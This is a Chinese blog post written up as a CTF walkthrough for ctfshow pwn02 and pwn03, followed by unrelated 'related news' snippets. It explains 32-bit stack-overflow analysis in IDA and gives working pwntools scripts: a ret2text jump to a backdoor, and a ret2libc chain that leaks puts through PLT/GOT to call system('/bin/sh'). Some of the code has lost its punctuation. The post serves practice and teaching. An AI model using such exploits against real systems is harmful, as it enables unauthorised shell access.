ctfshow pwn02pwn03

发布时间:2026/10/1 20:30:21

ctfshow pwn02pwn03
一、工具准备参考BUUCTF之pwn前两题解析及错误分析由于老版的buuctf处于归档状态改为在ctfshow中练习二、题型解决与错误分析1.pwn02将stack下载用IDA打开获取信息根据地址信息可知本次是32位的题目。地址显示方式参考BUUCTF之pwn前两题解析及错误分析易错提示刚开始确实容易把偏移量当作4*148来写攻击脚本但是往下分析发现主函数中不存在缓冲区数组没有gets/scanf等易溢出函数所以漏洞不在main函数中。而且主函数中只会输出没有输入读取的功能。之后发现跳转到pwnme函数后才结束所以漏洞很可能在pwnme函数中分析pwnme函数风险分析1.由图中的32h可知fgets允许读取最大长度为502.buf起点是edp - 9一共13字节943.通过分析可知栈上实际能用来存储的空间只有9字节却给fgets传了50字节存在栈溢出的风险由此可知偏移量为13找后门函数地址在stack函数中所有数据找到后写攻击脚本from pwn import * premote(pwn.challenge.ctf.show,28292) backdoor0x08048518 offset13 payloadbA*offsetp32(backdoor) p.sendline(payload) p.interactive()在虚拟机上运行得到flag2.pwn03下载stack1并用IDA打开主函数分析主函数中也是有相应的输出但是没有输入空间是完全安全的所以需要对pwnme函数进行分析查找漏洞。分析pwnme函数本题的风险与上题相同故可知偏移量为9413找后门函数注意在本题中没有明显的后门函数名称分析题型1.无后门函数属于标准的ret2libc题型2. 观察发现函数名称后面带有 .plt 后缀这表明它是 PLTProcedure Linkage Table表项。在 ELFExecutable and Linkable Format文件中PLT 无法独立工作在动态链接模式下必须与 GOTGlobal Offset Table协同配合。利用这种机制我们可以泄露 libc 中函数的真实地址进而计算出 libc 的基址。3.可用泄露函数puts,程序导入了puts适合做信息泄露排除法fgets作用是读取_libc_start_main作用是启动函数setvbuf作用是设置输入缓冲简单对应关系可做区分1.putsplt代码段里的跳板函数用来跳转到 GOT 取值2.putsgot数据段内存地址存放 puts 在 libc 里的绝对地址3.GLIBC_xx仅符号版本修饰不属于 PLT / GOT 标记。寻找关键地址1.puts_plt所以puts_plt0x080483802.puts_gotjmp ds::off就是GOT表项的符号对应地址puts_got0x0804A0103.main函数起始地址的首地址为0x080484DF写脚本from pwn import * io remote(pwn.challenge.ctf.show, 28257) # 题目固定地址 puts_plt 0x08048380 puts_got 0x0804A010 main 0x080484DF payload1 bA * 13 p32(puts_plt) p32(main) p32(puts_got) io.sendline(payload1) # 核心匹配两次换行精准跳过垃圾输出不会卡死不会漏读 io.recvuntil(b\n\n) # 只读4字节puts真实地址 leak u32(io.recv(4)) libc_base leak - 0x067360 sys libc_base 0x03cd10 binsh libc_base 0x17b8cf payload2 bA * 13 p32(sys) p32(0) p32(binsh) io.sendline(payload2) io.interactive()在虚拟机上运行得flag

相关新闻

IntelliJ IDEA 使用相关

IntelliJ IDEA 使用相关

2026/10/1 4:13:48

IntelliJ IDEA 下载、版本 IntelliJ IDEA 其他版本下载 https://www.jetbrains.com/zh-cn/idea/download/other/ IntelliJ IDEA 2025.1 最新变化 https://www.cnblogs.com/ioufev/articles/18958312 JetBrains2025.3更新 全面拥抱最新技术栈:Java 25 Spring 7/Boot…

SpringBoot制作Starter以及bean的自动装配

SpringBoot制作Starter以及bean的自动装配

2026/9/30 19:04:20

什么是 Starter&#xff1f;举个例子&#xff0c;在 Spring Boot 项目中引入 spring-boot-starter-data-redis 的依赖&#xff0c;就获得了一个全局可用的 StringRedisTemplate 类型的 bean 对象。<dependency><groupId>org.springframework.boot</groupId>&…

普通烤火罩容易起火,新 e 选安全吗?

普通烤火罩容易起火,新 e 选安全吗?

2026/10/1 0:30:23

更安全。面料通过阻燃检测&#xff0c;烟头、取暖高温不易引燃&#xff0c;无阴燃风险&#xff0c;老人小孩居家使用更放心。

CANN/GE ACL数据集缓冲区添加函数

CANN/GE ACL数据集缓冲区添加函数

2026/9/29 22:00:59

aclmdlAddDatasetBuffer 【免费下载链接】ge GE&#xff08;Graph Engine&#xff09;是面向昇腾的图编译器和执行器&#xff0c;提供了计算图优化、多流并行、内存复用和模型下沉等技术手段&#xff0c;加速模型执行效率&#xff0c;减少模型内存占用。 GE 提供对 PyTorch、Te…

用ffmpeg高效批量调整图片尺寸的实战指南

用ffmpeg高效批量调整图片尺寸的实战指南

2026/9/30 20:35:35

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

Transformers 音频特征提取工具库 audio_utils 全解析:从 Mel 刻度换算到对数 Mel 频谱

2026/9/30 20:35:38

Transformers 音频特征提取工具库 audio_utils 全解析&#xff1a;从 Mel 刻度换算到对数 Mel 频谱 【免费下载链接】transformers &#x1f917; Transformers: the model-definition framework for state-of-the-art machine learning models in text, vision, audio, and mu…

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

RustFS 多节点集群重启与滚动升级实战:Readiness、Quorum 与 Degraded 模式完全指南

2026/9/30 20:35:36

RustFS 多节点集群重启与滚动升级实战&#xff1a;Readiness、Quorum 与 Degraded 模式完全指南 【免费下载链接】rustfs &#x1f680;2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system sup…

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

Java Integer缓存揭秘:128陷阱原理、避坑与面试全解

2026/9/30 20:35:33

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

RustFS Scanner 数据用量发布权威性决策:配额准入如何获得可用的权威依据

2026/9/30 8:20:32

RustFS Scanner 数据用量发布权威性决策&#xff1a;配额准入如何获得可用的权威依据 【免费下载链接】rustfs &#x1f680;2.3x faster than MinIO for 4KB object payloads. RustFS is an open-source, S3-compatible high-performance object storage system supporting mi…